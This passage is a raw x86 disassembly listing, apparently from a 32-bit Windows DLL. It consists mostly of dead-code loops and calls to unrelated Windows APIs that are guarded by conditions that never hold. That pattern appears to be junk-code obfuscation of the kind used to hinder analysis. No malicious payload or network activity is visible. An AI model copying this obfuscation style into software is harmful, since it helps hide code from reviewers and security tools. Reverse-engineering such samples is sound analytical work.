mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x14], edi
jle 0x10015a6c
mov edx, ebx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1d4]
sub edx, dword [eax + ecx*4]
mov eax, dword [ebp - 0x30]
add eax, edx
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10015a99
push 0x1818
push 0x2537
call dword [sym.imp.USER32.dll_GetWindowLongA]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jle 0x10015a24
jmp 0x10015ac6
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], ebx
jl 0x10015ac6
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10015ac1
push ebx
push 0xab0
push ebx
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
dec dword [ebp - 0x14]
jns 0x10015aab
dec dword [ebp - 0x18]
jns 0x100159f3
lea ecx, [ebp - 0x1d4]
call fcn.100115eb
mov dword [ebp - 0x30], 0xf6af1124
mov dword [ebp - 0x48], 0x7e40d8eb
mov dword [ebp - 0x50], 0xc65315fa
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x14], ebx
jmp 0x10015b05
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x68], 5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10015af7
mov dword [ebp - 0x30], ebx
jmp 0x10015d00
mov dword [ebp - 0x20], edi
lea ecx, [ebp - 0x300]
push edi
call fcn.10011569
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x14], ebx
jmp 0x10015b39
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x300]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10015b2a
cmp dword [ebp - 0x20], ebx
jne 0x10015d0c
mov dword [ebp - 0x20], ebx
jmp 0x10015ce4
mov dword [ebp - 0x18], 0x91e29ea4
lea ecx, [ebp - 0x530]
push 3
call fcn.10011569
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x18], ebx
jmp 0x10015b7e
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x530]
mov dword [eax + ecx*4], 0x3fca
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10015b6b
mov dword [ebp - 0x18], ebx
jmp 0x10015b9a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1fc], 0xdf561f66
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10015b89
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10015bc7
push 0x18b9
push 0x37e
push 0x23dd
push 0xf16
push 0xe1e
call dword [sym.imp.GDI32.dll_IntersectClipRect]
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 0xfffffff6
jne 0x10015cd6
mov dword [ebp - 0x4c], 0x68cd546
mov dword [ebp - 0x2c], 0xa4b6d8d4
cmp dword [ebp - 0x18], ebx
je 0x10015c07
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x4c], ebx
je 0x10015bfe
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x4c]
dec eax
neg eax
sbb eax, eax
xor edx, edx
neg eax
imul eax, dword [ebp - 0x68]
imul ecx, eax, 0xffff
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setne dl
imul edx, dword [ebp - 0x4c]
mov dword [ebp - 0x1fc], edx
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x68], ebx
jne 0x10015c3a
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x18]
mov edx, edi
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
sub edx, eax
mov eax, dword [ebp - 0x68]
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
sub edx, eax
mov eax, dword [ebp - 0x20]
cmp eax, edx
setne cl
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x14], ebx
jmp 0x10015c78
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1bc], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10015c6b
cmp dword [ebp - 0x2c], ebx
jne 0x10015c89
mov esi, edi
cmp dword [ebp - 0x50], ebx
je 0x10015c8b
mov esi, ebx
mov eax, dword [ebp - 0x1bc]
cmp eax, dword [ebp - 0x44]
jle 0x10015ca3
mov eax, dword [ebp - 0x530]
mov edx, ebx
cmp dword [eax + 8], ebx
je 0x10015ca5
mov edx, edi
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp eax, 0xfffffff9
push 2
setl cl
xor eax, eax
cmp ecx, edx
setge al
xor ecx, ecx
cmp esi, eax
mov eax, dword [ebp - 0x300]
pop esi
setne cl
mov dword [eax], ecx
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff6
je 0x10015bd4
lea ecx, [ebp - 0x530]
call fcn.100115eb
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x3b
je 0x10015b4f
lea ecx, [ebp - 0x300]
mov byte [ebp - 4], 0xe
call fcn.100115eb
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xa
jne 0x10015b12
jmp 0x10015d1b
lea ecx, [ebp - 0x300]
mov byte [ebp - 4], 0xe
call fcn.100115eb
mov byte [ebp - 0x25], bl
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x10015d3b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xc04], 0xa2768935
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10015d2a
mov dword [ebp - 0x14], ebx
jmp 0x10015dc1
mov dword [ebp - 0x30], 9
dec dword [ebp - 0x30]
mov dword [ebp - 0x30], 0x1d
jmp 0x10015db8
push 3
lea ecx, [ebp - 0x404]
call fcn.10011569
mov dword [ebp - 0x18], ebx
jmp 0x10015d7b
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x404]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10015d6b
mov dword [ebp - 0x18], ebx
jmp 0x10015d97
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x214], 0xe81a7ecc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10015d86
mov eax, dword [ebp - 0x404]
lea ecx, [ebp - 0x404]
mov eax, dword [eax]
mov dword [ebp - 0x214], eax
call fcn.100115eb
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x1b
jle 0x10015d59
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe3
jge 0x10015d46
cmp byte [ebp - 0x25], 0
je 0x10015e17
mov dword [ebp - 0x4c], 0xffffffff
mov dword [ebp - 0x4c], ebx
jmp 0x10015df5
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10015df2
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
dec dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 0xffffffef
jge 0x10015ddd
push 0x1f5b
push 0x1990
push 0x836
mov dword [ebp - 0x4c], 0x9ac70c30
call dword [sym.imp.KERNEL32.dll_MulDiv]
lea ecx, [ebp - 0x7d4]
xorps xmm0, xmm0
push ecx
lea eax, [ebp - 0x7c4]
push eax
push ecx
lea ecx, [ebp - 0x138]
movdqu xmmword [ebp - 0x7d4], xmm0
call fcn.100115c5
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x698]
mov dword [ebp - 0x50], 0x3b16
push esi
call fcn.10011569
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x18], ebx
jmp 0x10015e66
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x6c], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10015e5c
mov dword [ebp - 0x18], ebx
jmp 0x10015e83
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x698]
mov dword [eax + ecx*4], 0x526c7153
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10015e70
mov esi, dword [ebp - 0x138]
mov dword [esi], ebx
cmp dword [esi], ebx
jl 0x10015ff0
push 3
lea ecx, [ebp - 0x554]
call fcn.10011569
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x2c], 0x3cfd
cmp dword [ebp - 0x2c], 0x4013
jle 0x10015ee0
mov edi, ebx
mov esi, ebx
mov eax, esi
mov ecx, 0x1060ba78
and eax, edi
cdq
push edx
push eax
call fcn.1001133e
inc esi
cmp esi, 0x5492
jl 0x10015ebd
inc edi
cmp edi, 0x3cab
jl 0x10015ebb
mov byte [ebp - 4], 0x16
cmp dword [ebp - 0x2c], 0x391d
jge 0x10015f1a
mov edx, 0x10007ce8
mov ecx, 0x1060ba78
call fcn.10013c65
jmp 0x10015f1a
mov dword [ebp - 4], 0x15
mov dword [ebp - 0x18], ebx
jmp 0x10015f36
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x554]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10015f26
mov dword [ebp - 0x18], ebx
jmp 0x10015f52
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x8d0], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10015f41
mov esi, dword [ebp - 0x138]
xor edx, edx
mov edi, dword [ebp - 0x554]
mov eax, dword [esi + 0xc]
mov dword [edi + 4], eax
mov eax, dword [esi]
mov ecx, dword [ebp + eax*4 - 0x6c]
mov eax, dword [ebp - 0x6c]
cmp eax, ecx
mov eax, dword [ebp - 0x138]
setg dl
xor ecx, ecx
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x6c]
imul eax, dword [esi + 0xc]
cmp ecx, eax
sbb eax, eax
neg eax
cmp edx, eax
mov eax, dword [ebp - 0x138]
setge cl
xor edx, edx
mov dword [ebp - 0x8cc], ecx
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x6c]
cmp dword [edi + 4], ecx
sete dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0x6c]
cmp eax, edx
mov esi, dword [ebp - 0x138]
setle cl
xor edx, edx
cmp ecx, dword [esi + 4]
lea ecx, [ebp - 0x554]
mov eax, dword [esi]
setg dl
mov dword [ebp + eax*4 - 0x6c], edx
mov byte [ebp - 4], 0x14
call fcn.100115eb
dec dword [esi]
jmp 0x10015e90
dec dword [ebp - 0x50]
lea ecx, [ebp - 0x698]
call fcn.100115eb
lea ecx, [ebp - 0x138]
mov byte [ebp - 4], 0xe
call fcn.100115eb
cmp dword [ebp - 0x24], ebx
je 0x100166f8
push 2
pop esi
push esi
lea ecx, [ebp - 0x174]
call fcn.10011569
mov dword [ebp - 0x14], 0x5e3edfa8
mov dword [ebp - 0x2c], 0xf7c8b166
mov dword [ebp - 0x2c], 0x23edb395
mov dword [ebp - 0x2c], 0xb76e1ee6
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x14], ebx
jmp 0x1001605c
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x174]
mov dword [eax + ecx*4], 0xa86ba47c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10016049
mov eax, dword [ebp - 0x174]
xor ebx, ebx
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x174]
cmp dword [ecx], eax
mov esi, dword [ecx]
mov eax, dword [ebp - 0x14]
setle bl
xor edx, edx
cmp ebx, 0xffffffff
sete dl
xor ecx, ecx
cmp edx, eax
setle cl
or eax, 0xffffffff
sub eax, ecx
xor edx, edx
sub eax, esi
imul eax, esi
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x174]
sub ecx, dword [eax]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x174]
cmp ecx, dword [eax]
lea ecx, [ebp - 0x174]
setle dl
xor edi, edi
inc edi
cmp edi, edx
sbb eax, eax
neg eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], eax
call fcn.100115eb
mov dword [ebp - 0x30], 0xecf4
lea ecx, [ebp - 0x41c]
push edi
call fcn.10011569
mov byte [ebp - 4], 0x18
xor ebx, ebx
mov dword [ebp - 0x4c], 0x24a8c6a5
mov dword [ebp - 0x4c], 0x1b
cmp dword [ebp - 0x4c], 0xffffffea
jne 0x1001615d
lea esi, [ebp - 0x6cc]
lea eax, [ebp - 0x6bc]
movdqa xmm0, xmmword [0x1000bb80]
push ecx
push eax
push esi
lea ecx, [ebp - 0x6b0]
movdqu xmmword [ebp - 0x6cc], xmm0
call fcn.100115c5
mov eax, dword [ebp - 0x6b0]
lea ecx, [ebp - 0x6b0]
mov dword [ebp - 0x3c], ebx
inc dword [eax]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x3c], eax
call fcn.100115eb
dec dword [ebp - 0x4c]
lea eax, [ebp - 0x6bc]
cmp dword [ebp - 0x4c], 0xffffffea
je 0x10016114
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10016171
push 0xe26
call dword [sym.imp.USER32.dll_HideCaret]
mov dword [ebp - 0x44], 0x8a87013d
mov dword [ebp - 0x14], ebx
jmp 0x1001618e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xbf4], 0x40d7f825
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1001617d
push 3
pop esi
mov dword [ebp - 0x44], esi
cmp dword [ebp - 0x44], ebx
jl 0x100161ef
mov dword [ebp - 0x14], 0xffffffff
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x100161ba
push 0x115a
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x14], ebx
jmp 0x100161e5
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x100161d2
push ebx
push edi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x100161e2
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jle 0x100161bf
dec dword [ebp - 0x44]
jns 0x1001619f
mov dword [ebp - 0x18], ebx
jmp 0x10016207
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x41c]
mov dword [eax + ecx*4], 0xd52a2848
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100161f4
mov dword [ebp - 0x18], ebx
jmp 0x10016222
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x9bc], 0x95610a1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10016211
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x4c], 0xfffffff7
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x14], ebx
jmp 0x10016247
cmp dword [ebp - 0x14], esi
jl 0x1001623a
xor edi, edi
mov dword [ebp - 0x20], ebx
inc edi
lea ecx, [ebp - 0x318]
push edi
call fcn.10011569
mov dword [ebp - 0x14], ebx
jmp 0x10016722
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x318]
mov dword [eax + ecx*4], 0x2ba39464
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1001670f
cmp dword [ebp - 0x20], ebx
je 0x100167cd
mov dword [ebp - 0x2c], 0xadf1
mov dword [ebp - 0x3c], 0xeda8ed40
mov dword [ebp - 0x40], 2
mov dword [ebp - 0x20], ebx
jmp 0x10016788
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x14], ebx
jmp 0x1001677b
mov dword [ebp - 0x30], 0xa622a149
dec dword [ebp - 0x30]
mov dword [ebp - 0x30], ebx
jmp 0x10016773
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x10016770
call dword [sym.imp.USER32.dll_ReleaseCapture]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jle 0x10016761
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x10016752
cmp dword [ebp - 0x2c], ebx
jne 0x1001678d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x1001674a
mov esi, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x3c]
sub esi, 0xcf13
mov eax, dword [ebp - 0x318]
neg esi
sbb esi, esi
add esi, 0xc593632d
neg esi
sbb esi, esi
xor edx, edx
inc esi
cmp dword [eax], ecx
mov eax, dword [ebp - 0x2c]
setg dl
xor ebx, ebx
cmp esi, edx
setne bl
xor ecx, ecx
cmp eax, ebx
setle cl
xor ebx, ebx
mov dword [ebp - 0x40], ecx
jmp 0x10016800
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], 0
je 0x100167e3
push ebx
push 0x690
push ebx
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
mov dword [ebp - 0x20], ebx
jmp 0x100167fb
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x318]
mov dword [eax + ecx*4], 0x405cefd0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x100167e8
lea ecx, [ebp - 0x318]
call fcn.100115eb
mov dword [ebp - 0x14], ebx
jmp 0x10016821
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x758], 0x6fbc
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10016810
mov dword [ebp - 0x3c], 0x3813bf58
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x48], 0xdaffa898
mov dword [ebp - 0x14], ebx
jmp 0x1001684b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x60], 0x100c4307
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1001683d
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x60], ebx
je 0x1001685b
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
xor edx, edx
mov ecx, 0xca77
sub ecx, eax
mov eax, dword [ebp - 0x60]
cmp ecx, eax
mov eax, dword [ebp - 0x60]
sete dl
xor ecx, ecx
cmp edx, eax
sete cl
xor ebx, ebx
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
cmp ecx, eax
mov eax, dword [ebp - 0x60]
setl bl
inc eax
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp ebx, eax
mov eax, dword [ebp - 0x60]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x60]
setge cl
xor edx, edx
sub eax, ecx
mov ecx, eax
mov eax, dword [ebp - 0x60]
shl ecx, 2
cmp ecx, eax
setge dl
cmp edx, 0x4974
jne 0x100168c2
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
xor ecx, ecx
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x60]
test eax, eax
setg cl
xor ebx, ebx
mov dword [ebp - 0x60], ecx
mov byte [ebp - 0x25], bl
cmp byte [ebp - 0x25], bl
je 0x100168e9